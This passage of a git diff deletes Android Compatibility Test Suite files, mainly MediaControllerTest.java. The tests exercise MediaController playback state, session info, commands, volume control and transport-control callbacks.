-            mOnSessionCommandLatch.countDown();
-            return SESSION_COMMAND_RESULT;
-        }
-
-        @Override
-        public void onCommandResult(MediaController2 controller, Object token,
-                Session2Command command, Session2Command.Result result) {
-            super.onCommandResult(controller, token, command, result);
-            mController = controller;
-            mCommand = command;
-            mCommandResult = result;
-            mOnCommandResultLatch.countDown();
-        }
-
-        @Override
-        public void onPlaybackActiveChanged(MediaController2 controller, boolean playbackActive) {
-            super.onPlaybackActiveChanged(controller, playbackActive);
-        }
-
-        public boolean awaitOnConnected(long waitTimeMs) {
-            try {
-                return mOnConnectedLatch.await(waitTimeMs, TimeUnit.MILLISECONDS);
-            } catch (InterruptedException e) {
-                return false;
-            }
-        }
-
-        public boolean awaitOnDisconnected(long waitTimeMs) {
-            try {
-                return mOnDisconnectedLatch.await(waitTimeMs, TimeUnit.MILLISECONDS);
-            } catch (InterruptedException e) {
-                return false;
-            }
-        }
-
-        public boolean awaitOnSessionCommand(long waitTimeMs) {
-            try {
-                return mOnSessionCommandLatch.await(waitTimeMs, TimeUnit.MILLISECONDS);
-            } catch (InterruptedException e) {
-                return false;
-            }
-        }
-
-        public boolean awaitOnCommandResult(long waitTimeMs) {
-            try {
-                return mOnCommandResultLatch.await(waitTimeMs, TimeUnit.MILLISECONDS);
-            } catch (InterruptedException e) {
-                return false;
-            }
-        }
-    }
-}
diff --git a/tests/tests/media/src/android/media/cts/MediaControllerTest.java b/tests/tests/media/src/android/media/cts/MediaControllerTest.java
deleted file mode 100644
index 0fc6a5f..0000000
--- a/tests/tests/media/src/android/media/cts/MediaControllerTest.java
+++ /dev/null
@@ -1,927 +0,0 @@
-/*
- * Copyright (C) 2015 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-package android.media.cts;
-
-import static android.media.cts.Utils.compareRemoteUserInfo;
-import static android.media.session.PlaybackState.STATE_PLAYING;
-
-import static org.junit.Assert.assertNotEquals;
-
-import android.content.Intent;
-import android.media.AudioManager;
-import android.media.Rating;
-import android.media.VolumeProvider;
-import android.media.session.MediaController;
-import android.media.session.MediaSession;
-import android.media.session.MediaSessionManager.RemoteUserInfo;
-import android.media.session.PlaybackState;
-import android.media.session.PlaybackState.CustomAction;
-import android.net.Uri;
-import android.os.Bundle;
-import android.os.Handler;
-import android.os.HandlerThread;
-import android.os.Looper;
-import android.os.Process;
-import android.os.ResultReceiver;
-import android.test.AndroidTestCase;
-import android.view.KeyEvent;
-
-/**
- * Test {@link android.media.session.MediaController}.
- */
-@NonMediaMainlineTest
-public class MediaControllerTest extends AndroidTestCase {
-    // The maximum time to wait for an operation.
-    private static final long TIME_OUT_MS = 3000L;
-    private static final String SESSION_TAG = "test-session";
-    private static final String EXTRAS_KEY = "test-key";
-    private static final String EXTRAS_VALUE = "test-val";
-
-    private final Object mWaitLock = new Object();
-    private Handler mHandler = new Handler(Looper.getMainLooper());
-    private MediaSession mSession;
-    private Bundle mSessionInfo;
-    private MediaSessionCallback mCallback = new MediaSessionCallback();
-    private MediaController mController;
-    private RemoteUserInfo mControllerInfo;
-
-    @Override
-    protected void setUp() throws Exception {
-        super.setUp();
-        mSessionInfo = new Bundle();
-        mSessionInfo.putString(EXTRAS_KEY, EXTRAS_VALUE);
-        mSession = new MediaSession(getContext(), SESSION_TAG, mSessionInfo);
-        mSession.setCallback(mCallback, mHandler);
-        mController = mSession.getController();
-        mControllerInfo = new RemoteUserInfo(
-                getContext().getPackageName(), Process.myPid(), Process.myUid());
-    }
-
-    @Override
-    protected void tearDown() throws Exception {
-        super.tearDown();
-        if (mSession != null) {
-            mSession.release();
-            mSession = null;
-        }
-    }
-
-    public void testGetPackageName() {
-        assertEquals(getContext().getPackageName(), mController.getPackageName());
-    }
-
-    public void testGetPlaybackState() {
-        final int testState = STATE_PLAYING;
-        final long testPosition = 100000L;
-        final float testSpeed = 1.0f;
-        final long testActions = PlaybackState.ACTION_PLAY | PlaybackState.ACTION_STOP
-                | PlaybackState.ACTION_SEEK_TO;
-        final long testActiveQueueItemId = 3377;
-        final long testBufferedPosition = 100246L;
-        final String testErrorMsg = "ErrorMsg";
-
-        final Bundle extras = new Bundle();
-        extras.putString(EXTRAS_KEY, EXTRAS_VALUE);
-
-        final double positionDelta = 500;
-
-        PlaybackState state = new PlaybackState.Builder()
-                .setState(testState, testPosition, testSpeed)
-                .setActions(testActions)
-                .setActiveQueueItemId(testActiveQueueItemId)
-                .setBufferedPosition(testBufferedPosition)
-                .setErrorMessage(testErrorMsg)
-                .setExtras(extras)
-                .build();
-
-        mSession.setPlaybackState(state);
-
-        // Note: No need to wait since the AIDL call is not oneway.
-        PlaybackState stateOut = mController.getPlaybackState();
-        assertNotNull(stateOut);
-        assertEquals(testState, stateOut.getState());
-        assertEquals(testPosition, stateOut.getPosition(), positionDelta);
-        assertEquals(testSpeed, stateOut.getPlaybackSpeed(), 0.0f);
-        assertEquals(testActions, stateOut.getActions());
-        assertEquals(testActiveQueueItemId, stateOut.getActiveQueueItemId());
-        assertEquals(testBufferedPosition, stateOut.getBufferedPosition());
-        assertEquals(testErrorMsg, stateOut.getErrorMessage().toString());
-        assertNotNull(stateOut.getExtras());
-        assertEquals(EXTRAS_VALUE, stateOut.getExtras().get(EXTRAS_KEY));
-    }
-
-    public void testGetRatingType() {
-        assertEquals("Default rating type of a session must be Rating.RATING_NONE",
-                Rating.RATING_NONE, mController.getRatingType());
-
-        mSession.setRatingType(Rating.RATING_5_STARS);
-        // Note: No need to wait since the AIDL call is not oneway.
-        assertEquals(Rating.RATING_5_STARS, mController.getRatingType());
-    }
-
-    public void testGetSessionToken() {
-        assertEquals(mSession.getSessionToken(), mController.getSessionToken());
-    }
-
-    public void testGetSessionInfo() {
-        Bundle sessionInfo = mController.getSessionInfo();
-        assertNotNull(sessionInfo);
-        assertEquals(EXTRAS_VALUE, sessionInfo.getString(EXTRAS_KEY));
-
-        Bundle cachedSessionInfo = mController.getSessionInfo();
-        assertEquals(EXTRAS_VALUE, cachedSessionInfo.getString(EXTRAS_KEY));
-    }
-
-    public void testGetSessionInfoReturnsAnEmptyBundleWhenNotSet() {
-        MediaSession session = new MediaSession(getContext(), "test_tag", /*sessionInfo=*/ null);
-        try {
-            assertTrue(session.getController().getSessionInfo().isEmpty());
-        } finally {
-            session.release();
-        }
-    }
-
-    public void testGetTag() {
-        assertEquals(SESSION_TAG, mController.getTag());
-    }
-
-    public void testSendCommand() throws Exception {
-        synchronized (mWaitLock) {
-            mCallback.reset();
-            final String command = "test-command";
-            final Bundle extras = new Bundle();
-            extras.putString(EXTRAS_KEY, EXTRAS_VALUE);
-            mController.sendCommand(command, extras, new ResultReceiver(null));
-            mWaitLock.wait(TIME_OUT_MS);
-            assertTrue(mCallback.mOnCommandCalled);
-            assertNotNull(mCallback.mCommandCallback);
-            assertEquals(command, mCallback.mCommand);
-            assertEquals(EXTRAS_VALUE, mCallback.mExtras.getString(EXTRAS_KEY));
-            assertTrue(compareRemoteUserInfo(mControllerInfo, mCallback.mCallerInfo));
-        }
-    }
-
-    public void testSendCommandWithIllegalArgumentsThrowsIAE() {
-        Bundle args = new Bundle();
-        ResultReceiver resultReceiver = new ResultReceiver(mHandler);
-
-        try {
-            mController.sendCommand(/*command=*/ null, args, resultReceiver);
-            fail();
-        } catch (IllegalArgumentException ex) {
-            // Expected
-        }
-
-        try {
-            mController.sendCommand(/*command=*/ "", args, resultReceiver);
-            fail();
-        } catch (IllegalArgumentException ex) {
-            // Expected
-        }
-    }
-
-    public void testSetPlaybackSpeed() throws Exception {
-        synchronized (mWaitLock) {
-            mCallback.reset();
-
-            final float testSpeed = 2.0f;
-            mController.getTransportControls().setPlaybackSpeed(testSpeed);
-            mWaitLock.wait(TIME_OUT_MS);
-
-            assertTrue(mCallback.mOnSetPlaybackSpeedCalled);
-            assertEquals(testSpeed, mCallback.mSpeed, 0.0f);
-            assertTrue(compareRemoteUserInfo(mControllerInfo, mCallback.mCallerInfo));
-        }
-    }
-
-    public void testAdjustVolumeWithIllegalDirection() {
-        // Call the method with illegal direction. System should not reboot.
-        mController.adjustVolume(37, 0);
-    }
-
-    public void testVolumeControl() throws Exception {
-        VolumeProvider vp = new VolumeProvider(VolumeProvider.VOLUME_CONTROL_ABSOLUTE, 11, 5) {
-            @Override
-            public void onSetVolumeTo(int volume) {
-                synchronized (mWaitLock) {
-                    setCurrentVolume(volume);
-                    mWaitLock.notify();
-                }
-            }
-
-            @Override
-            public void onAdjustVolume(int direction) {
-                synchronized (mWaitLock) {
-                    switch (direction) {
-                        case AudioManager.ADJUST_LOWER:
-                            setCurrentVolume(getCurrentVolume() - 1);
-                            break;
-                        case AudioManager.ADJUST_RAISE:
-                            setCurrentVolume(getCurrentVolume() + 1);
-                            break;
-                    }
-                    mWaitLock.notify();
-                }
-            }
-        };
-        mSession.setPlaybackToRemote(vp);
-
-        synchronized (mWaitLock) {
-            // test setVolumeTo
-            mController.setVolumeTo(7, 0);
-            mWaitLock.wait(TIME_OUT_MS);
-            assertEquals(7, vp.getCurrentVolume());
-
-            // test adjustVolume
-            mController.adjustVolume(AudioManager.ADJUST_LOWER, 0);
-            mWaitLock.wait(TIME_OUT_MS);
-            assertEquals(6, vp.getCurrentVolume());
-
-            mController.adjustVolume(AudioManager.ADJUST_RAISE, 0);
-            mWaitLock.wait(TIME_OUT_MS);
-            assertEquals(7, vp.getCurrentVolume());
-        }
-    }
-
-    public void testTransportControlsAndMediaSessionCallback() throws Exception {
-        MediaController.TransportControls controls = mController.getTransportControls();
-        final MediaSession.Callback callback = (MediaSession.Callback) mCallback;
-
-        synchronized (mWaitLock) {
-            mCallback.reset();
-            controls.play();
-            mWaitLock.wait(TIME_OUT_MS);
-            assertTrue(mCallback.mOnPlayCalled);
-            assertTrue(compareRemoteUserInfo(mControllerInfo, mCallback.mCallerInfo));
-
-            mCallback.reset();
-            controls.pause();
-            mWaitLock.wait(TIME_OUT_MS);
-            assertTrue(mCallback.mOnPauseCalled);
-            assertTrue(compareRemoteUserInfo(mControllerInfo, mCallback.mCallerInfo));
-
-            mCallback.reset();
-            controls.stop();
-            mWaitLock.wait(TIME_OUT_MS);
-            assertTrue(mCallback.mOnStopCalled);
-            assertTrue(compareRemoteUserInfo(mControllerInfo, mCallback.mCallerInfo));
-
-            mCallback.reset();
-            controls.fastForward();
-            mWaitLock.wait(TIME_OUT_MS);
-            assertTrue(mCallback.mOnFastForwardCalled);
-            assertTrue(compareRemoteUserInfo(mControllerInfo, mCallback.mCallerInfo));
-
-            mCallback.reset();
-            controls.rewind();
-            mWaitLock.wait(TIME_OUT_MS);
-            assertTrue(mCallback.mOnRewindCalled);
-            assertTrue(compareRemoteUserInfo(mControllerInfo, mCallback.mCallerInfo));
-
-            mCallback.reset();
-            controls.skipToPrevious();
-            mWaitLock.wait(TIME_OUT_MS);
-            assertTrue(mCallback.mOnSkipToPreviousCalled);
-            assertTrue(compareRemoteUserInfo(mControllerInfo, mCallback.mCallerInfo));
-
-            mCallback.reset();
-            controls.skipToNext();
-            mWaitLock.wait(TIME_OUT_MS);
-            assertTrue(mCallback.mOnSkipToNextCalled);
-            assertTrue(compareRemoteUserInfo(mControllerInfo, mCallback.mCallerInfo));
-
-            mCallback.reset();
-            final long seekPosition = 1000;
-            controls.seekTo(seekPosition);
-            mWaitLock.wait(TIME_OUT_MS);
-            assertTrue(mCallback.mOnSeekToCalled);
-            assertEquals(seekPosition, mCallback.mSeekPosition);
-            assertTrue(compareRemoteUserInfo(mControllerInfo, mCallback.mCallerInfo));
-
-            mCallback.reset();
-            final Rating rating = Rating.newStarRating(Rating.RATING_5_STARS, 3f);
-            controls.setRating(rating);
-            mWaitLock.wait(TIME_OUT_MS);
-            assertTrue(mCallback.mOnSetRatingCalled);
-            assertEquals(rating.getRatingStyle(), mCallback.mRating.getRatingStyle());
-            assertEquals(rating.getStarRating(), mCallback.mRating.getStarRating());
-            assertTrue(compareRemoteUserInfo(mControllerInfo, mCallback.mCallerInfo));
-
-            mCallback.reset();
-            final String mediaId = "test-media-id";
-            final Bundle extras = new Bundle();
-            extras.putString(EXTRAS_KEY, EXTRAS_VALUE);
-            controls.playFromMediaId(mediaId, extras);
-            mWaitLock.wait(TIME_OUT_MS);
-            assertTrue(mCallback.mOnPlayFromMediaIdCalled);
-            assertEquals(mediaId, mCallback.mMediaId);
-            assertEquals(EXTRAS_VALUE, mCallback.mExtras.getString(EXTRAS_KEY));
-            assertTrue(compareRemoteUserInfo(mControllerInfo, mCallback.mCallerInfo));
-
-            mCallback.reset();
-            final String query = "test-query";
-            controls.playFromSearch(query, extras);
-            mWaitLock.wait(TIME_OUT_MS);
-            assertTrue(mCallback.mOnPlayFromSearchCalled);
-            assertEquals(query, mCallback.mQuery);
-            assertEquals(EXTRAS_VALUE, mCallback.mExtras.getString(EXTRAS_KEY));
-            assertTrue(compareRemoteUserInfo(mControllerInfo, mCallback.mCallerInfo));
-
-            mCallback.reset();
-            final Uri uri = Uri.parse("content://test/popcorn.mod");
-            controls.playFromUri(uri, extras);
-            mWaitLock.wait(TIME_OUT_MS);
-            assertTrue(mCallback.mOnPlayFromUriCalled);
-            assertEquals(uri, mCallback.mUri);
-            assertEquals(EXTRAS_VALUE, mCallback.mExtras.getString(EXTRAS_KEY));
-            assertTrue(compareRemoteUserInfo(mControllerInfo, mCallback.mCallerInfo));
-
-            mCallback.reset();
-            final String action = "test-action";
-            controls.sendCustomAction(action, extras);
-            mWaitLock.wait(TIME_OUT_MS);
-            assertTrue(mCallback.mOnCustomActionCalled);
-            assertEquals(action, mCallback.mAction);
-            assertEquals(EXTRAS_VALUE, mCallback.mExtras.getString(EXTRAS_KEY));
-            assertTrue(compareRemoteUserInfo(mControllerInfo, mCallback.mCallerInfo));
-
-            mCallback.reset();
-            mCallback.mOnCustomActionCalled = false;
-            final CustomAction customAction =
-                    new CustomAction.Builder(action, action, -1).setExtras(extras).build();
-            controls.sendCustomAction(customAction, extras);
-            mWaitLock.wait(TIME_OUT_MS);
-            assertTrue(mCallback.mOnCustomActionCalled);
-            assertEquals(action, mCallback.mAction);
-            assertEquals(EXTRAS_VALUE, mCallback.mExtras.getString(EXTRAS_KEY));
-            assertTrue(compareRemoteUserInfo(mControllerInfo, mCallback.mCallerInfo));
-
-            mCallback.reset();
-            final long queueItemId = 1000;
-            controls.skipToQueueItem(queueItemId);
-            mWaitLock.wait(TIME_OUT_MS);
-            assertTrue(mCallback.mOnSkipToQueueItemCalled);
-            assertEquals(queueItemId, mCallback.mQueueItemId);
-            assertTrue(compareRemoteUserInfo(mControllerInfo, mCallback.mCallerInfo));
-
-            mCallback.reset();
-            controls.prepare();
-            mWaitLock.wait(TIME_OUT_MS);
-            assertTrue(mCallback.mOnPrepareCalled);
-            assertTrue(compareRemoteUserInfo(mControllerInfo, mCallback.mCallerInfo));
-
-            mCallback.reset();
-            controls.prepareFromMediaId(mediaId, extras);
-            mWaitLock.wait(TIME_OUT_MS);
-            assertTrue(mCallback.mOnPrepareFromMediaIdCalled);
-            assertEquals(mediaId, mCallback.mMediaId);
-            assertEquals(EXTRAS_VALUE, mCallback.mExtras.getString(EXTRAS_KEY));
-            assertTrue(compareRemoteUserInfo(mControllerInfo, mCallback.mCallerInfo));
-
-            mCallback.reset();
-            controls.prepareFromSearch(query, extras);
-            mWaitLock.wait(TIME_OUT_MS);
-            assertTrue(mCallback.mOnPrepareFromSearchCalled);
-            assertEquals(query, mCallback.mQuery);
-            assertEquals(EXTRAS_VALUE, mCallback.mExtras.getString(EXTRAS_KEY));
-            assertTrue(compareRemoteUserInfo(mControllerInfo, mCallback.mCallerInfo));
-
-            mCallback.reset();
-            controls.prepareFromUri(uri, extras);
-            mWaitLock.wait(TIME_OUT_MS);
-            assertTrue(mCallback.mOnPrepareFromUriCalled);
-            assertEquals(uri, mCallback.mUri);
-            assertEquals(EXTRAS_VALUE, mCallback.mExtras.getString(EXTRAS_KEY));
-            assertTrue(compareRemoteUserInfo(mControllerInfo, mCallback.mCallerInfo));
-
-            mCallback.reset();
-            KeyEvent event = new KeyEvent(KeyEvent.ACTION_DOWN, KeyEvent.KEYCODE_MEDIA_STOP);
-            mController.dispatchMediaButtonEvent(event);
-            mWaitLock.wait(TIME_OUT_MS);
-            assertTrue(mCallback.mOnMediaButtonEventCalled);
-            // KeyEvent doesn't override equals.
-            assertEquals(KeyEvent.ACTION_DOWN, mCallback.mKeyEvent.getAction());
-            assertEquals(KeyEvent.KEYCODE_MEDIA_STOP, mCallback.mKeyEvent.getKeyCode());
-            assertTrue(compareRemoteUserInfo(mControllerInfo, mCallback.mCallerInfo));
-
-            // just call the callback once directly so it's marked as tested
-            try {
-                callback.onPlay();
-                callback.onPause();
-                callback.onStop();
-                callback.onFastForward();
-                callback.onRewind();
-                callback.onSkipToPrevious();
-                callback.onSkipToNext();
-                callback.onSeekTo(mCallback.mSeekPosition);
-                callback.onSetRating(mCallback.mRating);
-                callback.onPlayFromMediaId(mCallback.mMediaId, mCallback.mExtras);
-                callback.onPlayFromSearch(mCallback.mQuery, mCallback.mExtras);
-                callback.onPlayFromUri(mCallback.mUri, mCallback.mExtras);
-                callback.onCustomAction(mCallback.mAction, mCallback.mExtras);
-                callback.onCustomAction(mCallback.mAction, mCallback.mExtras);
-                callback.onSkipToQueueItem(mCallback.mQueueItemId);
-                callback.onPrepare();
-                callback.onPrepareFromMediaId(mCallback.mMediaId, mCallback.mExtras);
-                callback.onPrepareFromSearch(mCallback.mQuery, mCallback.mExtras);
-                callback.onPrepareFromUri(Uri.parse("http://d.android.com"), mCallback.mExtras);
-                callback.onCommand(mCallback.mCommand, mCallback.mExtras, null);
-                callback.onSetPlaybackSpeed(mCallback.mSpeed);
-                Intent mediaButtonIntent = new Intent(Intent.ACTION_MEDIA_BUTTON);
-                mediaButtonIntent.putExtra(Intent.EXTRA_KEY_EVENT, event);
-                callback.onMediaButtonEvent(mediaButtonIntent);
-            } catch (IllegalStateException ex) {
-                // Expected, since the MediaSession.getCurrentControllerInfo() is called in every
-                // callback method, but no controller is sending any command.
-            }
-        }
-    }
-
-    public void testRegisterCallbackWithNullThrowsIAE() {
-        try {
-            mController.registerCallback(/*handler=*/ null);
-            fail();
-        } catch (IllegalArgumentException ex) {
-            // Expected
-        }
-
-        try {
-            mController.registerCallback(/*handler=*/ null, mHandler);
-            fail();
-        } catch (IllegalArgumentException ex) {
-            // Expected
-        }
-    }
-
-    public void testRegisteringSameCallbackWithDifferentHandlerHasNoEffect() {
-        MediaController.Callback callback = new MediaController.Callback() {};
-        mController.registerCallback(callback, mHandler);
-
-        Handler initialHandler = mController.getHandlerForCallback(callback);
-        assertEquals(mHandler.getLooper(), initialHandler.getLooper());
-
-        // Create a separate handler with a new looper.
-        HandlerThread handlerThread = new HandlerThread("Test thread");
-        handlerThread.start();
-
-        // This call should not change the handler which is previously set.
-        mController.registerCallback(callback, new Handler(handlerThread.getLooper()));
-        Handler currentHandlerInController = mController.getHandlerForCallback(callback);
-
-        // The handler should not have been replaced.
-        assertEquals(initialHandler, currentHandlerInController);
-        assertNotEquals(handlerThread.getLooper(), currentHandlerInController.getLooper());
-
-        handlerThread.quitSafely();
-    }
-
-    public void testUnregisterCallbackWithNull() {
-        try {
-            mController.unregisterCallback(/*handler=*/ null);
-            fail();
-        } catch (IllegalArgumentException ex) {
-            // Expected
-        }
-    }
-
-    public void testUnregisterCallbackShouldRemoveCallback() {
-        MediaController.Callback callback = new MediaController.Callback() {};
-        mController.registerCallback(callback, mHandler);
-        assertEquals(mHandler.getLooper(), mController.getHandlerForCallback(callback).getLooper());
-
-        mController.unregisterCallback(callback);
-        assertNull(mController.getHandlerForCallback(callback));
-    }
-
-    public void testDispatchMediaButtonEventWithNullKeyEvent() {
-        try {
-            mController.dispatchMediaButtonEvent(/*keyEvent=*/ null);
-            fail();
-        } catch (IllegalArgumentException ex) {
-            // Expected
-        }
-    }
-
-    public void testDispatchMediaButtonEventWithNonMediaKeyEventReturnsFalse() {
-        KeyEvent keyEvent = new KeyEvent(KeyEvent.ACTION_DOWN, KeyEvent.KEYCODE_CAPS_LOCK);
-        assertFalse(mController.dispatchMediaButtonEvent(keyEvent));
-    }
-
-    public void testPlaybackInfoCreatorNewArray() {
-        final int arrayLength = 5;
-        MediaController.PlaybackInfo[] playbackInfoArrayInitializedWithNulls
-                = MediaController.PlaybackInfo.CREATOR.newArray(arrayLength);
-        assertNotNull(playbackInfoArrayInitializedWithNulls);
-        assertEquals(arrayLength, playbackInfoArrayInitializedWithNulls.length);
-        for (MediaController.PlaybackInfo playbackInfo : playbackInfoArrayInitializedWithNulls) {
-            assertNull(playbackInfo);
-        }
-    }
-
-    public void testTransportControlsPlayAndPrepareFromMediaIdWithIllegalArgumentsThrowsIAE() {
-        MediaController.TransportControls transportControls = mController.getTransportControls();
-
-        try {
-            transportControls.playFromMediaId(/*mediaId=*/ null, /*extras=*/ new Bundle());
-            fail();
-        } catch (IllegalArgumentException ex) {
-            // Expected
-        }
-
-        try {
-            transportControls.playFromMediaId(/*mediaId=*/ "", /*extras=*/ new Bundle());
-            fail();
-        } catch (IllegalArgumentException ex) {
-            // Expected
-        }
-
-        try {
-            transportControls.prepareFromMediaId(/*mediaId=*/ null, /*extras=*/ new Bundle());
-            fail();
-        } catch (IllegalArgumentException ex) {
-            // Expected
-        }
-
-        try {
-            transportControls.prepareFromMediaId(/*mediaId=*/ "", /*extras=*/ new Bundle());
-            fail();
-        } catch (IllegalArgumentException ex) {
-            // Expected
-        }
-    }
-
-    public void testTransportControlsPlayAndPrepareFromUriWithIllegalArgumentsThrowsIAE() {
-        MediaController.TransportControls transportControls = mController.getTransportControls();
-
-        try {
-            transportControls.playFromUri(/*uri=*/ null, /*extras=*/ new Bundle());
-            fail();
-        } catch (IllegalArgumentException ex) {
-            // Expected
-        }
-
-        try {
-            transportControls.playFromUri(Uri.EMPTY, /*extras=*/ new Bundle());
-            fail();
-        } catch (IllegalArgumentException ex) {
-            // Expected
-        }
-
-        try {
-            transportControls.prepareFromUri(/*uri=*/ null, /*extras=*/ new Bundle());
-            fail();
-        } catch (IllegalArgumentException ex) {
-            // Expected
-        }
-
-        try {
-            transportControls.prepareFromUri(Uri.EMPTY, /*extras=*/ new Bundle());
-            fail();
-        } catch (IllegalArgumentException ex) {
-            // Expected
-        }
-    }
-
-    public void testTransportControlsPlayAndPrepareFromSearchWithNullDoesNotCrash()
-            throws Exception {
-        MediaController.TransportControls transportControls = mController.getTransportControls();
-
-        synchronized (mWaitLock) {
-            // These calls should not crash. Null query is accepted on purpose.
-            transportControls.playFromSearch(/*query=*/ null, /*extras=*/ new Bundle());
-            mWaitLock.wait(TIME_OUT_MS);
-            assertTrue(mCallback.mOnPlayFromSearchCalled);
-
-            transportControls.prepareFromSearch(/*query=*/ null, /*extras=*/ new Bundle());
-            mWaitLock.wait(TIME_OUT_MS);
-            assertTrue(mCallback.mOnPrepareFromSearchCalled);
-        }
-    }
-
-    public void testSendCustomActionWithIllegalArgumentsThrowsIAE() {
-        MediaController.TransportControls transportControls = mController.getTransportControls();
-
-        try {
-            transportControls.sendCustomAction((PlaybackState.CustomAction) null,
-                    /*args=*/ new Bundle());
-            fail();
-        } catch (IllegalArgumentException ex) {
-            // Expected
-        }
-
-        try {
-            transportControls.sendCustomAction(/*action=*/ (String) null, /*args=*/ new Bundle());
-            fail();
-        } catch (IllegalArgumentException ex) {
-            // Expected
-        }
-
-        try {
-            transportControls.sendCustomAction(/*action=*/ "", /*args=*/ new Bundle());
-            fail();
-        } catch (IllegalArgumentException ex) {
-            // Expected
-        }
-    }
-
-    private class MediaSessionCallback extends MediaSession.Callback {
-        private long mSeekPosition;
-        private long mQueueItemId;
-        private Rating mRating;
-        private String mMediaId;
-        private String mQuery;
-        private Uri mUri;
-        private String mAction;
-        private String mCommand;
-        private Bundle mExtras;
-        private ResultReceiver mCommandCallback;
-        private KeyEvent mKeyEvent;
-        private RemoteUserInfo mCallerInfo;
-        private float mSpeed;
-
-        private boolean mOnPlayCalled;
-        private boolean mOnPauseCalled;
-        private boolean mOnStopCalled;
-        private boolean mOnFastForwardCalled;
-        private boolean mOnRewindCalled;
-        private boolean mOnSkipToPreviousCalled;
-        private boolean mOnSkipToNextCalled;
-        private boolean mOnSeekToCalled;
-        private boolean mOnSkipToQueueItemCalled;
-        private boolean mOnSetRatingCalled;
-        private boolean mOnPlayFromMediaIdCalled;
-        private boolean mOnPlayFromSearchCalled;
-        private boolean mOnPlayFromUriCalled;
-        private boolean mOnCustomActionCalled;
-        private boolean mOnCommandCalled;
-        private boolean mOnPrepareCalled;
-        private boolean mOnPrepareFromMediaIdCalled;
-        private boolean mOnPrepareFromSearchCalled;
-        private boolean mOnPrepareFromUriCalled;
-        private boolean mOnMediaButtonEventCalled;
-        private boolean mOnSetPlaybackSpeedCalled;
-
-        public void reset() {
-            mSeekPosition = -1;
-            mQueueItemId = -1;
-            mRating = null;
-            mMediaId = null;
-            mQuery = null;
-            mUri = null;
-            mAction = null;
-            mExtras = null;
-            mCommand = null;
-            mCommandCallback = null;
-            mKeyEvent = null;
-            mCallerInfo = null;
-            mSpeed = -1.0f;
-
-            mOnPlayCalled = false;
-            mOnPauseCalled = false;
-            mOnStopCalled = false;
-            mOnFastForwardCalled = false;
-            mOnRewindCalled = false;
-            mOnSkipToPreviousCalled = false;
-            mOnSkipToNextCalled = false;
-            mOnSkipToQueueItemCalled = false;
-            mOnSeekToCalled = false;
-            mOnSetRatingCalled = false;
-            mOnPlayFromMediaIdCalled = false;
-            mOnPlayFromSearchCalled = false;
-            mOnPlayFromUriCalled = false;
-            mOnCustomActionCalled = false;
-            mOnCommandCalled = false;
-            mOnPrepareCalled = false;
-            mOnPrepareFromMediaIdCalled = false;
-            mOnPrepareFromSearchCalled = false;
-            mOnPrepareFromUriCalled = false;
-            mOnMediaButtonEventCalled = false;
-            mOnSetPlaybackSpeedCalled = false;
-        }
-
-        @Override
-        public void onPlay() {
-            synchronized (mWaitLock) {
-                mOnPlayCalled = true;
-                mCallerInfo = mSession.getCurrentControllerInfo();
-                mWaitLock.notify();
-            }
-        }
-
-        @Override
-        public void onPause() {
-            synchronized (mWaitLock) {
-                mOnPauseCalled = true;
-                mCallerInfo = mSession.getCurrentControllerInfo();
-                mWaitLock.notify();
-            }
-        }
-
-        @Override
-        public void onStop() {
-            synchronized (mWaitLock) {
-                mOnStopCalled = true;
-                mCallerInfo = mSession.getCurrentControllerInfo();
-                mWaitLock.notify();
-            }
-        }
-
-        @Override
-        public void onFastForward() {
-            synchronized (mWaitLock) {
-                mOnFastForwardCalled = true;
-                mCallerInfo = mSession.getCurrentControllerInfo();
-                mWaitLock.notify();
-            }
-        }
-
-        @Override
-        public void onRewind() {
-            synchronized (mWaitLock) {
-                mOnRewindCalled = true;
-                mCallerInfo = mSession.getCurrentControllerInfo();
-                mWaitLock.notify();
-            }
-        }
-
-        @Override
-        public void onSkipToPrevious() {
-            synchronized (mWaitLock) {
-                mOnSkipToPreviousCalled = true;
-                mCallerInfo = mSession.getCurrentControllerInfo();
-                mWaitLock.notify();
-            }
-        }
-
-        @Override
-        public void onSkipToNext() {
-            synchronized (mWaitLock) {
-                mOnSkipToNextCalled = true;
-                mCallerInfo = mSession.getCurrentControllerInfo();
-                mWaitLock.notify();
-            }
-        }
-
-        @Override
-        public void onSeekTo(long pos) {
-            synchronized (mWaitLock) {
-                mOnSeekToCalled = true;
-                mSeekPosition = pos;
-                mCallerInfo = mSession.getCurrentControllerInfo();
-                mWaitLock.notify();
-            }
-        }
-
-        @Override
-        public void onSetRating(Rating rating) {
-            synchronized (mWaitLock) {
-                mOnSetRatingCalled = true;
-                mRating = rating;
-                mCallerInfo = mSession.getCurrentControllerInfo();
-                mWaitLock.notify();
-            }
-        }
-
-        @Override
-        public void onPlayFromMediaId(String mediaId, Bundle extras) {
-            synchronized (mWaitLock) {
-                mOnPlayFromMediaIdCalled = true;
-                mMediaId = mediaId;
-                mExtras = extras;
-                mCallerInfo = mSession.getCurrentControllerInfo();
-                mWaitLock.notify();
-            }
-        }
-
-        @Override
-        public void onPlayFromSearch(String query, Bundle extras) {
-            synchronized (mWaitLock) {
-                mOnPlayFromSearchCalled = true;
-                mQuery = query;
-                mExtras = extras;
-                mCallerInfo = mSession.getCurrentControllerInfo();
-                mWaitLock.notify();
-            }
-        }
-
-        @Override
-        public void onPlayFromUri(Uri uri, Bundle extras) {
-            synchronized (mWaitLock) {
-                mOnPlayFromUriCalled = true;
-                mUri = uri;
-                mExtras = extras;
-                mCallerInfo = mSession.getCurrentControllerInfo();
-                mWaitLock.notify();
-            }
-        }
-
-        @Override
-        public void onCustomAction(String action, Bundle extras) {
-            synchronized (mWaitLock) {
-                mOnCustomActionCalled = true;
-                mAction = action;
-                mExtras = extras;
-                mCallerInfo = mSession.getCurrentControllerInfo();
-                mWaitLock.notify();
-            }
-        }
-
-        @Override
-        public void onSkipToQueueItem(long id) {
-            synchronized (mWaitLock) {
-                mOnSkipToQueueItemCalled = true;
-                mQueueItemId = id;
-                mCallerInfo = mSession.getCurrentControllerInfo();
-                mWaitLock.notify();
-            }
-        }
-
-        @Override
-        public void onCommand(String command, Bundle extras, ResultReceiver cb) {
-            synchronized (mWaitLock) {
-                mOnCommandCalled = true;
-                mCommand = command;
-                mExtras = extras;
-                mCommandCallback = cb;
